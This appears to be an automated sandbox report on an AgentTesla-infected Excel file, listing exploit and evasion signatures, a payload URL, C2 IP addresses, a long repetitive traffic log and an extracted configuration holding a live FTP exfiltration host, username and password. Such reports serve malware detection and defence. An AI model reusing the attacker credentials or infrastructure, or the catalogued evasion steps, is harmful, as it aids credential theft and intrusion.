Windows Analysis Report
Nuevo orden.xlam.xlsx

Overview

General Information

Sample name: Nuevo orden.xlam.xlsx
Analysis ID: 1467952
MD5: 563632ea84cbb9b6c4a19223cd655c67
SHA1: fb0f18bd97964f8ee3dd6e1c7413c1de855e8568
SHA256: d8ba98fe2f2715873622ec5d987ac06da81077ad593d045b925007680d625025
Tags: xlamxlsx
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Shellcode detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Nuevo orden.xlam.xlsx Avira: detected
Antivirus detection for URL or domain
Source: http://91.92.254.194/imge/new-image_v.jpg Avira URL Cloud: Label: malware
Found malware configuration
Source: 8.2.AddInProcess32.exe.400000.0.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.horeca-bucuresti.ro", "Username": "americas2@horeca-bucuresti.ro", "Password": "H*TE9iL;x61m"}
Multi AV Scanner detection for submitted file
Source: Nuevo orden.xlam.xlsx ReversingLabs: Detection: 75%
Source: Nuevo orden.xlam.xlsx Virustotal: Detection: 54% Perma Link

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 192.3.216.148 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RunPE.pdb source: powershell.exe, 00000006.00000002.475615054.000000000623A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.475615054.00000000061A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.473212454.00000000002B0000.00000004.08000000.00040000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036205E6 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_036205E6
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03620557 LoadLibraryW, 2_2_03620557
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03620639 ExitProcess, 2_2_03620639
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03620614 ShellExecuteW,ExitProcess, 2_2_03620614
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036205FF ShellExecuteW,ExitProcess, 2_2_036205FF
Suspicious execution chain found
Source: C:\Windows\SysWOW64\wscript.exe Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: ip-api.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.216.148:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.216.148:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.216.148:80
Source: global traffic TCP traffic: 192.3.216.148:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.216.148:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.216.148:80
Source: global traffic TCP traffic: 192.3.216.148:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.3.216.148:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.216.148:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.216.148:80
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 91.92.254.29:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.29:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
